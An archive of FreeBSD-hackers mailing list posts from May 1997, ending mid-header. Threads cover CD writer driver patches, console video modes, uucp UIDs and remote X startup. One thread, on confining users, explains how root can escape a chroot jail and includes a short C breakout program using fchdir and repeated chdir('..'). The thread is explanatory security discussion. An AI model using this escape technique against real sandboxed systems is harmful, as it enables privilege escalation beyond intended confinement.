(8.8.5/8.8.5) with ESMTP id AAA00180 for ; Thu, 29 May 1997 00:07:21 -0700 (PDT) Received: by TomQNX.tomqnx.com (Smail3.2 #1) id m0wWzH2-000A4IC; Thu, 29 May 1997 03:05:24 -0400 (EDT) Message-Id: Date: Thu, 29 May 1997 03:05:24 -0400 (EDT) From: tom@tomqnx.com (Tom Torrance at home) To: hackers@freebsd.org Subject: HP 6020 Problems Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jordon's original announcement for Release 2.2.1 stated that the HP 6020 was supported, so I went and bought one. It doesn't work properly as a WORM device for me, so I hacked the driver to allow myself to burn CDs with it. THis is a REALLY crude hack, but it works well enough to allow me to fulfill my objective. I offer it here only so that someone who really knows what they are doing can use the information I have gathered to implement the necessary support properly. Driver code is far beyond me. My machine is an old 486DX2-66 with an AHA2740A controller with the Fast SCSI II system disk and the HP6020 on it - surely overkill for the job with the HP 6020, which has a 1 MB I/O buffer in it. Among other kernel options, I have BOUNCE_BUFFERS for my QIC-02/QIC-150, plus AHC_TAGENABLE, AHC_ALLOW_MEMIO and AHC_SCBPAGING_ENABLE. I don't know how many I/Os the software allows, but the controller firmware allows up to 32 outstanding tagged or 2 non-tagged I/O commands per device to a maximum of 255 for the controller. Four (4) SCB's are allocated to the controller at boot probe time. In any case, the 1 MB buffer soaks up a lot of I/O very quickly at the beginning of the job, that takes quite a while to complete. Because the SCSI_NOSLEEP flag was being set, I was getting 'oops, not queued' messages and the job would fail. I was also getting the same messages when reading a CD with the 'find' command. The simple solution was to remove the setting of SCSI_NOSLEEP, which as far as I can tell serves no useful purpose. Note that when running the 'burncd' script, the dd command fails at the end of the copy, presumeably because of the extremely long time required for outstanding output to complete, allowing the 'close' to proceed to completion. This does not affect the quality of the CD produced, which seems quite perfect. Although I got 'burncd' to function for me, more or less, attempting to execute 'cd-write 1.2' to master a CD locks up the entire systemi, after the initializing disk info message. I have no idea what is causing that, which also happens with the un-modified driver. Having to power off a system to get it going again is not nice. I hope that this info helps! Regards, Tom ------------------------CUT HERE------------------------------------------ *** worm.c.orig Mon May 26 19:04:51 1997 --- worm.c Thu May 29 01:24:36 1997 *************** *** 196,202 **** rf4100_finalize_track, rf4100_finalize_disk }, { ! "HP", "4020i", hp4020i_prepare_disk, hp4020i_prepare_track, hp4020i_finalize_track, hp4020i_finalize_disk }, --- 196,202 ---- rf4100_finalize_track, rf4100_finalize_disk }, { ! "HP", "6020", hp4020i_prepare_disk, hp4020i_prepare_track, hp4020i_finalize_track, hp4020i_finalize_disk }, *************** *** 369,375 **** 0, 100000, bp, ! flags | SCSI_NOSLEEP) == SUCCESSFULLY_QUEUED) { if (worm->dkunit >= 0) { /* Cloned from od.c, possibly with same mistakes. :) */ dk_xfer[worm->dkunit]++; dk_seek[worm->dkunit] = 1; /* single track */ --- 369,375 ---- 0, 100000, bp, ! flags) == SUCCESSFULLY_QUEUED) { if (worm->dkunit >= 0) { /* Cloned from od.c, possibly with same mistakes. :) */ dk_xfer[worm->dkunit]++; dk_seek[worm->dkunit] = 1; /* single track */ ---------------------------------CUT HERE------------------------------------- From owner-freebsd-hackers Thu May 29 01:20:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA02501 for hackers-outgoing; Thu, 29 May 1997 01:20:27 -0700 (PDT) Received: from nasu.utsunomiya-u.ac.jp (nasu.utsunomiya-u.ac.jp [160.12.128.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA02436 for ; Thu, 29 May 1997 01:19:59 -0700 (PDT) Received: from outmail.utsunomiya-u.ac.jp (outmail.utsunomiya-u.ac.jp [160.12.196.3]) by nasu.utsunomiya-u.ac.jp (8.8.4+2.7Wbeta4/3.5Wpl3) with ESMTP id QAA24820; Thu, 29 May 1997 16:39:58 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (43CpICpt+abjb5QiQ8a3T+dJGJKIhJ3n@zodiac.mech.utsunomiya-u.ac.jp [160.12.33.1]) by outmail.utsunomiya-u.ac.jp (8.8.4+2.7Wbeta4/3.5Wpl3) with ESMTP id QAA14146; Thu, 29 May 1997 16:39:58 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (zenith.mech.utsunomiya-u.ac.jp [160.12.33.60]) by zodiac.mech.utsunomiya-u.ac.jp (8.7.6+2.6Wbeta7/3.4W/zodiac-May96) with ESMTP id QAA22196; Thu, 29 May 1997 16:45:09 +0900 (JST) Message-Id: <199705290745.QAA22196@zodiac.mech.utsunomiya-u.ac.jp> To: jbryant@tfs.net cc: freebsd-hackers@freebsd.org, yokota@zodiac.mech.utsunomiya-u.ac.jp Subject: Re: vidcontrol under 2.2.2 In-reply-to: Your message of "Thu, 29 May 1997 00:24:35 EST." <199705290524.AAA00286@argus.nuke.net> References: <199705290524.AAA00286@argus.nuke.net> Date: Thu, 29 May 1997 16:45:07 +0900 From: Kazutaka YOKOTA Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >got 2.2.2 in... > >vidcontrol says "device not configured" when attempting to change >console dimensions.... (Um, please be explicit about the model of your video card and the video mode which you are attempting to change to.) It is probably either your video card is not VGA (this is unlikely nowadays), or... The mode parameter table in your VGA card's ROM is not organized the way the console driver expects. There are unfortunately such cards out there. You can still use other functions of the console driver (such as mouse pointer), but can not change video modes. (X is OK, in case you are wondering :-) To verify if this is the case with your card, boot the system with the "-v" option at the "Boot:" prompt and check the output from the `dmesg' command afterwards. You will see "sc0: VGA registers upon power-up" followed by 64 bytes of hex dump. If you don't see another hex dump headed "sc0: VGA registers for mode:xx", the console driver found the mode parameter table of your VGA ROM strange and decided not to use it. Kazu PS: You will see "Invalid argument" error, if you have not loaded an appropriate font set for the new video mode. You need to explicitly load font sets other than the 16 line font (which is the built-in default of the VGA card). video mode required font -------------------------- VGA_80x25 16 line font VGA_80x30 16 line font VGA_80x50 8 line font VGA_80x60 8 line font EGA_80x25 14 line font EGA_80x43 8 line font From owner-freebsd-hackers Thu May 29 03:19:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA05897 for hackers-outgoing; Thu, 29 May 1997 03:19:24 -0700 (PDT) Received: from labs.usn.blaze.net.au (labs.usn.blaze.net.au [203.17.53.30]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA05892 for ; Thu, 29 May 1997 03:19:20 -0700 (PDT) Received: from labs.usn.blaze.net.au (local [127.0.0.1]) by labs.usn.blaze.net.au (8.8.5/8.8.5) with ESMTP id UAA00460 for ; Thu, 29 May 1997 20:19:17 +1000 (EST) Message-Id: <199705291019.UAA00460@labs.usn.blaze.net.au> X-Mailer: exmh version 2.0gamma 1/27/96 To: hackers@freebsd.org Subject: Re: uucp uid's In-reply-to: Your message of "Thu, 29 May 1997 08:36:54 +0200." <19970529083654.WR06258@uriah.heep.sax.de> X-Face: (W@z~5kg?"+5?!2kHP)+l369.~a@oTl^8l87|/s8"EH?Uk~P#N+Ec~Z&@;'LL!;3?y Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 29 May 1997 20:19:16 +1000 From: David Nugent Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) writes: > Never trust an operating system you don't have sources for. ;-) > > (i.e. the owner of the uucp files, processes, etc.). And, > > All the UIDs should be identical however, i.e. the UUCP administrator > has the same UID and group as all the UUCP dialin accounts. I've > never seen a system that doesn't handle it this way. I'm one. Why do the uid's need to be the same? There isn't a permissions problem because: davidn[~]> l /usr/libexec/uucp/uucico -r-sr-sr-x 1 uucp dialer 212992 May 12 20:16 /usr/libexec/uucp/uucico* ^ ^ I've been operating this way for years since first using Taylor-uucp under ISC UNIX in 1991, and it doesn't seem to be a problem for either tcp or dialup connections. Cheers, David David Nugent - Unique Computing Pty Ltd - Melbourne, Australia Voice +61-3-9791-9547 Data/BBS +61-3-9792-3507 3:632/348@fidonet davidn@freebsd.org davidn@blaze.net.au http://www.blaze.net.au/~davidn/ From owner-freebsd-hackers Thu May 29 06:18:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA12254 for hackers-outgoing; Thu, 29 May 1997 06:18:18 -0700 (PDT) Received: from mirage.nlink.com.br (mirage.nlink.com.br [200.238.120.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA12233; Thu, 29 May 1997 06:17:43 -0700 (PDT) Received: from mirage.nlink.com.br (mirage.nlink.com.br [200.238.120.3]) by mirage.nlink.com.br (8.8.5/8.8.5) with SMTP id KAA09971; Thu, 29 May 1997 10:16:04 -0300 (EST) Date: Thu, 29 May 1997 10:16:04 -0300 (EST) From: Paulo Fragoso To: hackers@freebsd.org cc: isp@freebsd.org Subject: Cyclades PCI Strange Behavior Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk We have here the following configuration: a Pentium 133 with Intel i430vx Motherboard 32MB RAM. 1.2GB IDE HardDrive a Trident PCI Video Card A cyclades PCI Cy32 card mapped to high memory 32 dial-in modems Some strange things are happening here. We are getting a lot of silo overflows that get more frequently when we start using the computer ( very frequent when we compile the kernel ). If we start an upload to the computer, we have very much silo overflows than in a download. After about 1 day with the system running it JUST RESETS without any message in the screen if we SWITCH ONE OF THE MODEMS OFF AND ON AGAIN ( Just after we turn if on ). Is this a cyclades PCI Card design error? Is there any solution to the problem? Is it a driver problem? Or do i have a problematic card? I have a cyclades Cyclom16Y ISA running since FreeBSD2.1.0 with no silo overflows in more than one year. Luiz From owner-freebsd-hackers Thu May 29 06:39:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA13001 for hackers-outgoing; Thu, 29 May 1997 06:39:39 -0700 (PDT) Received: from ui-gate.utell.co.uk (ui-gate.utell.co.uk [194.200.4.253]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA12995 for ; Thu, 29 May 1997 06:39:35 -0700 (PDT) Received: from utell.co.uk (shift.utell.net [97.3.0.21]) by ui-gate.utell.co.uk (8.7.6/8.7.3) with ESMTP id OAA23954; Thu, 29 May 1997 14:39:31 +0100 (BST) Received: from shift.utell.net (localhost [127.0.0.1]) by utell.co.uk (8.8.5/8.8.5) with ESMTP id OAA03782; Thu, 29 May 1997 14:39:31 +0100 (BST) Message-Id: <199705291339.OAA03782@utell.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) cc: freebsd-hackers@freebsd.org, brian@awfulhak.org Subject: Re: rstartd on freefall In-reply-to: Your message of "Thu, 29 May 1997 08:50:30 +0200." <19970529085030.UG61779@uriah.heep.sax.de> reply-to: brian@utell.co.uk Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 29 May 1997 14:39:30 +0100 From: Brian Somers Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > As Jordan K. Hubbard wrote: > > > > So rstart is broken by design. Let me guess. This has been argued > > > before, and the xfree86 guys won't allow an absolute path to rstartd > > > (via say a flag to rstart).... :| > > > > I don't recall that it was ever discussed. I've certainly never heard > > of anyone actually using it, at least not until just now. :-) > > It has recently been discussed on the XFree86 list. > > Btw., Brian, you should actually complain at the inventor of your > shell. :-) If he had made a provision for a .xxxrc file as all nice > shells do (csh, tcsh, bash, zsh -- no, no discussions, please :), it > would be simple for you to extend your $PATH on startup. Yep. Simple (I use bash and therefore have .bashrc), but wrong IMO. You can either reset your PATH or append to your PATH in this file. Either way, you're going to break something and not realize what's going on in the future. I guess something smart like test ${PATH#~/bin} = $PATH && PATH=~/bin:/bin:...:/usr/X11R6/bin would work, but I don't think it's correct. > Mr. Korn decided to invent this crappy idea of $ENV, which has now [.....] I agree completely with your opinion of $ENV. It's horrible ! > -- > cheers, J"org > > joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE > Never trust an operating system you don't have sources for. ;-) -- Brian Don't _EVER_ lose your sense of humour ! From owner-freebsd-hackers Thu May 29 06:58:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA14109 for hackers-outgoing; Thu, 29 May 1997 06:58:37 -0700 (PDT) Received: from rkntws40casa ([207.137.172.32]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id GAA14098; Thu, 29 May 1997 06:58:31 -0700 (PDT) Message-Id: <3.0.1.32.19970529064849.00975d20@ccsales.com> X-Sender: randyk@ccsales.com X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Thu, 29 May 1997 06:48:49 -0700 To: Paulo Fragoso , hackers@FreeBSD.ORG From: "Randy A. Katz" Subject: Re: Cyclades PCI Strange Behavior Cc: isp@FreeBSD.ORG In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Where I have not had much experience with the Cyclades I can tell you I've had woes with *some* VX motherboards. Rip it out and put an HX in its place and all your woes "might" just go away...I don't know why. Thanx, At 10:16 AM 5/29/97 -0300, Paulo Fragoso wrote: >We have here the following configuration: > >a Pentium 133 with Intel i430vx Motherboard >32MB RAM. >1.2GB IDE HardDrive >a Trident PCI Video Card >A cyclades PCI Cy32 card mapped to high memory >32 dial-in modems > >Some strange things are happening here. > >We are getting a lot of silo overflows that get more frequently when we >start using the computer ( very frequent when we compile the kernel ). >If we start an upload to the computer, we have very much silo overflows >than in a download. > >After about 1 day with the system running it JUST RESETS without any >message in the screen if we SWITCH ONE OF THE MODEMS OFF AND ON AGAIN ( >Just after we turn if on ). > >Is this a cyclades PCI Card design error? Is there any solution to the >problem? Is it a driver problem? Or do i have a problematic card? > >I have a cyclades Cyclom16Y ISA running since FreeBSD2.1.0 with no silo >overflows in more than one year. > >Luiz > > Thanx, ----------------------------------------------------------------- Randy A. Katz - Virtualis Systems Administrator EMAIL --> mailto:rkatz@virtualisys.com ----------------------------------------------------------------- SUPPORT --> http://www.virtualisys.com/support VR AREA --> http://www.virtualisys.com/vrarea VR FAQ --> http://www.virtualisys.com/faq.html SALES GUIDE --> http://www.virtualisys.com/guides/sales SUPPLY STORE --> http://www.virtualisys.com/supplystore VR BULLETIN BOARD --> http://www.virtualisys.com/vrarea/vr_board ----------------------------------------------------------------- From owner-freebsd-hackers Thu May 29 07:00:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA14303 for hackers-outgoing; Thu, 29 May 1997 07:00:37 -0700 (PDT) Received: from ui-gate.utell.co.uk (ui-gate.utell.co.uk [194.200.4.253]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA14287 for ; Thu, 29 May 1997 07:00:25 -0700 (PDT) Received: from utell.co.uk (shift.utell.net [97.3.0.21]) by ui-gate.utell.co.uk (8.7.6/8.7.3) with ESMTP id PAA24504; Thu, 29 May 1997 15:00:20 +0100 (BST) Received: from shift.utell.net (localhost [127.0.0.1]) by utell.co.uk (8.8.5/8.8.5) with ESMTP id PAA03916; Thu, 29 May 1997 15:00:20 +0100 (BST) Message-Id: <199705291400.PAA03916@utell.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: David Dawes cc: freebsd-hackers@freebsd.org Subject: Re: rstartd on freefall reply-to: brian@utell.co.uk In-reply-to: Your message of "Thu, 29 May 1997 16:06:58 +1000." <19970529160658.41587@rf900.physics.usyd.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 29 May 1997 15:00:20 +0100 From: Brian Somers Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > On Wed, May 28, 1997 at 09:39:59PM -0700, Jordan K. Hubbard wrote: > >> So rstart is broken by design. Let me guess. This has been argued > >> before, and the xfree86 guys won't allow an absolute path to rstartd > >> (via say a flag to rstart).... :| > > > >I don't recall that it was ever discussed. I've certainly never heard > >of anyone actually using it, at least not until just now. :-) > > Right. When I saw the original message, my first reaction was > "Hey, there IS actually someone using rstart!". It was missing from > the last few binary dists we (XFree86) produced, and we didn't even > get one complaint about it. It was missing because it gets installed > in /usr/bin by default. From 3.3 on, it will be installed in > /usr/X11R6/bin, and the postinst script will give people the option > of installing a link to it in /usr/bin. Hmmm. It still comes out of the XFree89-contrib port (X32contrib.tgz), although there's no rstartd - just rstartd.real. > My next reaction was why not put /usr/X11R6/bin in the path in your > shell's rc file? As I said to Joerg's posting, I don't agree with this idea. The only place I'm really happy to do this is in my .profile (or if we had login classes, there's good too). > As to providing rstart with a way of running rstartd by its absolute > path, nobody has suggested it before. If you think that's a good thing > to do, send us a patch implementing it (to XFree86@XFree86.org). Ok. How about [ -s servername ]. I'll send the patches soon. > David Thanks. -- Brian Don't _EVER_ lose your sense of humour ! From owner-freebsd-hackers Thu May 29 07:06:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA14778 for hackers-outgoing; Thu, 29 May 1997 07:06:50 -0700 (PDT) Received: from ui-gate.utell.co.uk (ui-gate.utell.co.uk [194.200.4.253]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA14769 for ; Thu, 29 May 1997 07:06:42 -0700 (PDT) Received: from utell.co.uk (shift.utell.net [97.3.0.21]) by ui-gate.utell.co.uk (8.7.6/8.7.3) with ESMTP id PAA24669; Thu, 29 May 1997 15:06:38 +0100 (BST) Received: from shift.utell.net (localhost [127.0.0.1]) by utell.co.uk (8.8.5/8.8.5) with ESMTP id PAA03949; Thu, 29 May 1997 15:06:38 +0100 (BST) Message-Id: <199705291406.PAA03949@utell.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: "Jordan K. Hubbard" cc: Brian Somers , freebsd-hackers@freebsd.org Subject: Re: rstartd on freefall In-reply-to: Your message of "Wed, 28 May 1997 21:39:59 PDT." <25691.864880799@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 29 May 1997 15:06:38 +0100 From: Brian Somers Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > So rstart is broken by design. Let me guess. This has been argued > > before, and the xfree86 guys won't allow an absolute path to rstartd > > (via say a flag to rstart).... :| > > I don't recall that it was ever discussed. I've certainly never heard > of anyone actually using it, at least not until just now. :-) Heh. This is a good example of me wandering around and trying to figure out how something works. I come up with a solution and *assume* it's the one everyone else uses 'cos it works. How do other people exec remote X programs ? Doing a "rsh ....." doesn't send your DISPLAY over, so you end up with some nasty lines like: rsh freefall xterm -display $HOSTDISPLAY -T freefall -n freefall -e bash --login rather than rstart -g freefall xterm (although I suppose you could hide the -T & -n in .Xdefaults). The rstart idea is nice 'cos you can just dump your .rstart.* directories on a machine and kill all the long lines :) > Jordan -- Brian Don't _EVER_ lose your sense of humour ! From owner-freebsd-hackers Thu May 29 07:59:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA17781 for hackers-outgoing; Thu, 29 May 1997 07:59:46 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA17776 for ; Thu, 29 May 1997 07:59:44 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id HAA03526; Thu, 29 May 1997 07:56:26 -0700 From: Terry Lambert Message-Id: <199705291456.HAA03526@phaeton.artisoft.com> Subject: Re: Correct way to chroot for shell account users? To: imp@village.org (Warner Losh) Date: Thu, 29 May 1997 07:56:26 -0700 (MST) Cc: dec@phoenix.its.rpi.edu, peter@grendel.IAEhv.nl, mrcpu@cdsnet.net, hackers@FreeBSD.ORG In-Reply-To: from "Warner Losh" at May 28, 97 10:57:47 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > : Could someone give me some simple details of how to break out of a chroot > : 'jail' (without relying on kernfs or raw devices), I have heard of this > : before, but no one has given me a theory or code of how to do it. > > Basically, and this has been posted in many places, you get a handle > on something outside the jail. You do this by basically opening '/', > mkdir xxx, chroot xxx, then fchdir to the old '/' and then chdir '..'. > There are things that can be done in the kernel, but they are either > very expensive or very hard to get right (and not break anything) or > both. > > A simple fix is to disallow a chroot when someone has already been > chroot'd. This break symetry, but doesn't completely solve the > problem because there are many other ways out (that aren't on the top > of my head). > > Hmmm, writing this up, I realized what the ln way was. If you are in > a chroot jail, you mkdir xxx; ln xxx/yyy /; chroot xxx; cd yyy; cd > .. ; ... and you are out. However, the ln step is no longer allowed > since it is hard linking directories together, which is bad for other > reasons. I really don't see how either of these could possibly work, given: 1) namei() refusing to traverse ".." from the chroot'ed root vnode (this is broken, but then almost all of namei() is broken, and no one cares but me...). 2) The chroot() call takes a path, which namei() will look up relative 3) The link() system call in /sys/kern/vfs_syscalls.c has code to prevent hard links on directories: if (vp->v_type == VDIR) error = EPERM; /* POSIX */ Not even root can do the hard link your method requires. 4) You don't have to let them have an open fd to the original "/" when you throw them in jail. 5) Calling chroot(2) is restricted to the superuser anyway, and only an idiot would try to put a root user in a chroot jail anyway (or put an ordinary user in a chroot jail with suid/sgid binaries). Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 29 08:07:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA18271 for hackers-outgoing; Thu, 29 May 1997 08:07:15 -0700 (PDT) Received: from oskar.nanoteq.co.za (oskar.nanoteq.co.za [163.195.220.170]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA18262 for ; Thu, 29 May 1997 08:07:01 -0700 (PDT) Received: (from pvl@localhost) by oskar.nanoteq.co.za (8.8.5/8.8.5) id RAA01207 for freebsd-hackers@FreeBSD.ORG; Thu, 29 May 1997 17:06:47 +0200 (SAT) From: Pierre Van Leeuwen Message-Id: <199705291506.RAA01207@oskar.nanoteq.co.za> Subject: ed0 : device timeout To: freebsd-hackers@FreeBSD.ORG (FreeBSD-hackers) Date: Thu, 29 May 1997 17:06:46 +0200 (SAT) Reply-To: pvl@nanoteq.com X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi I wrote to questions about this earlier, but that didn't solve my problem. I get the following message : ed0 : device timeout It doesn't seem to be fatal all the time though. Looking at if_ed.c I see it is because the device doesn't generate an interrupt after a transmit was started. I commented the line out that checks for the interrupt, and had the function return without doing anything. Didn't do any good as expected. It's a D-Link De-220 card which I have exchanged about three times, as well as putting a new motherboard in. The only thing I haven't changed is the cpu (Pentium 133). I've been running FreeBSD on it since 2.1.5 and I have 2.2-Stable on it at the moment (CVSupped about a week ago -- I tried to CVSup today, but today the ed0 error is fatal :) ) What else should I try? pierre -- Pierre_Andre van Leeuwen Electronic Engineer -------------------------------------------------------------- | E-mail : pvl@nanoteq.com | Nanoteq (Pty) Ltd. | | Ph : +27 (0)12 665-1338 | Specialists in data security | -------------------------------------------------------------- From owner-freebsd-hackers Thu May 29 08:17:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA19029 for hackers-outgoing; Thu, 29 May 1997 08:17:09 -0700 (PDT) Received: from gatekeeper.itribe.net (gatekeeper.itribe.net [208.141.85.254]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA19022 for ; Thu, 29 May 1997 08:17:06 -0700 (PDT) Message-Id: <199705291514.LAA16028@gatekeeper.itribe.net> Received: forwarded by SMTP 1.6.0. Date: Thu, 29 May 1997 11:15:27 -0400 (EDT) From: Jamie Bowden To: Brian Somers cc: "Jordan K. Hubbard" , Brian Somers , freebsd-hackers@freebsd.org Subject: Re: rstartd on freefall In-Reply-To: <199705291406.PAA03949@utell.co.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 29 May 1997, Brian Somers wrote: > > > So rstart is broken by design. Let me guess. This has been argued > > > before, and the xfree86 guys won't allow an absolute path to rstartd > > > (via say a flag to rstart).... :| > > > > I don't recall that it was ever discussed. I've certainly never heard > > of anyone actually using it, at least not until just now. :-) > > Heh. This is a good example of me wandering around and trying to > figure out how something works. I come up with a solution and > *assume* it's the one everyone else uses 'cos it works. > > How do other people exec remote X programs ? Doing a "rsh ....." > doesn't send your DISPLAY over, so you end up with some nasty lines > like: > > rsh freefall xterm -display $HOSTDISPLAY -T freefall -n freefall -e bash > --login > > rather than > > rstart -g freefall xterm > > (although I suppose you could hide the -T & -n in .Xdefaults). > > The rstart idea is nice 'cos you can just dump your .rstart.* directories > on a machine and kill all the long lines :) > > > Jordan > > -- > Brian > > Don't _EVER_ lose your sense of humour ! > > If you have xauth working properly, you can just type: xon host program Jamie Bowden System Administrator, iTRiBE.net From owner-freebsd-hackers Thu May 29 08:17:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA19106 for hackers-outgoing; Thu, 29 May 1997 08:17:52 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA19101 for ; Thu, 29 May 1997 08:17:45 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wX6vy-0002fp-00; Thu, 29 May 1997 09:16:10 -0600 To: Terry Lambert Subject: Re: Correct way to chroot for shell account users? Cc: dec@phoenix.its.rpi.edu, peter@grendel.IAEhv.nl, mrcpu@cdsnet.net, hackers@freebsd.org In-reply-to: Your message of "Thu, 29 May 1997 07:56:26 PDT." <199705291456.HAA03526@phaeton.artisoft.com> References: <199705291456.HAA03526@phaeton.artisoft.com> Date: Thu, 29 May 1997 09:16:10 -0600 From: Warner Losh Message-Id: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199705291456.HAA03526@phaeton.artisoft.com> Terry Lambert writes: : 1) namei() refusing to traverse ".." from the chroot'ed : root vnode (this is broken, but then almost all of : namei() is broken, and no one cares but me...). This works because the .. is outside the jail. : 2) The chroot() call takes a path, which namei() will : look up relative Yes. That's true but irrelevant. : 3) The link() system call in /sys/kern/vfs_syscalls.c has : code to prevent hard links on directories: : : if (vp->v_type == VDIR) : error = EPERM; /* POSIX */ : : Not even root can do the hard link your method requires. Right, that's what I said, but this is new. : 4) You don't have to let them have an open fd to the original : "/" when you throw them in jail. Ummm, the "/" I was talking about was the new root (eg /jail in the non-chroot'd system). You open up /, keep that fd around, then chroot to someplace else lower in your current tree (eg /jail/xxx in the non-chrooted case, or /xxx in the chroot'd case). At this point the fchdir would succeed in landing you outside the jail. : 5) Calling chroot(2) is restricted to the superuser anyway, : and only an idiot would try to put a root user in a : chroot jail anyway (or put an ordinary user in a chroot : jail with suid/sgid binaries). 100% correct. However, many people think that a chroot'd environment is so safe that even root can't climb out. It isn't. If somehow a user gets root in a chroot'd environment, then your entire machine can be comporomised. Michael Smith posted the program to climb out of the jail here a few months ago. This isn't theoretical, but it works. It was something along the lines of the following. You can find it in the archives. int main() { int fd; mkdir("xxx"); fd = open("/"); chroot("/xxx"); fchdir(fd); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); } From owner-freebsd-hackers Thu May 29 08:29:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA20045 for hackers-outgoing; Thu, 29 May 1997 08:29:43 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA20040 for ; Thu, 29 May 1997 08:29:41 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id IAA27405; Thu, 29 May 1997 08:29:58 -0700 (PDT) To: tom@tomqnx.com (Tom Torrance at home) cc: hackers@FreeBSD.ORG Subject: Re: HP 6020 Problems In-reply-to: Your message of "Thu, 29 May 1997 03:05:24 EDT." Date: Thu, 29 May 1997 08:29:57 -0700 Message-ID: <27401.864919797@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Jordon's original announcement for Release 2.2.1 stated that the HP 6020 > was supported, so I went and bought one. It doesn't work properly as a WORM > device for me, so I hacked the driver to allow myself to burn CDs with it. That's weird, since I also just got a 6020i to replace my deceased 4020i (the HP CDRs have a pretty short lifetime, it must be said) and it was just plug-n-play. Joerg: Did you add something post 2.2.1 to support the 6020 drive a bit more seamlessly? IIRC, it was supported back then too. Jordan From owner-freebsd-hackers Thu May 29 08:44:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA21236 for hackers-outgoing; Thu, 29 May 1997 08:44:13 -0700 (PDT) Received: from moek.pir.net (moek.pir.net [158.43.129.42]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA21228 for ; Thu, 29 May 1997 08:44:08 -0700 (PDT) Received: from pir by moek.pir.net with local (Exim 1.61 